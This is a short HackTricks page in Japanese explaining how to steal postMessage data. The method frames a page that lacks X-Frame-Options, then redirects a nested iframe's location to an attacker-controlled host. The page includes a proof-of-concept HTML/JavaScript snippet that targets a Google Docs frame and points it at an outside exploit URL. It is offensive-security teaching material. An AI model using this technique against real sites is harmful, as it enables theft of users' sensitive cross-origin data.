Steal postmessage modifying iframe location

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

子 iframe の場所を変更する

この解説によると、X-Frame-Header がないウェブページに別の iframe を含む iframe を挿入できる場合、その子 iframe の場所を変更できます

たとえば、abc.com が efg.com を iframe として持ち、abc.com に X-Frame ヘッダーがない場合、frames.location を使用して efg.com を evil.com にクロスオリジンで変更できます。

これは特に postMessage で便利です。なぜなら、ページが windowRef.postmessage("","*") のような ワイルドカード を使用して機密データを送信している場合、関連する iframe(子または親)の場所を攻撃者が制御する場所に変更してそのデータを盗むことができるからです。

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

Last updated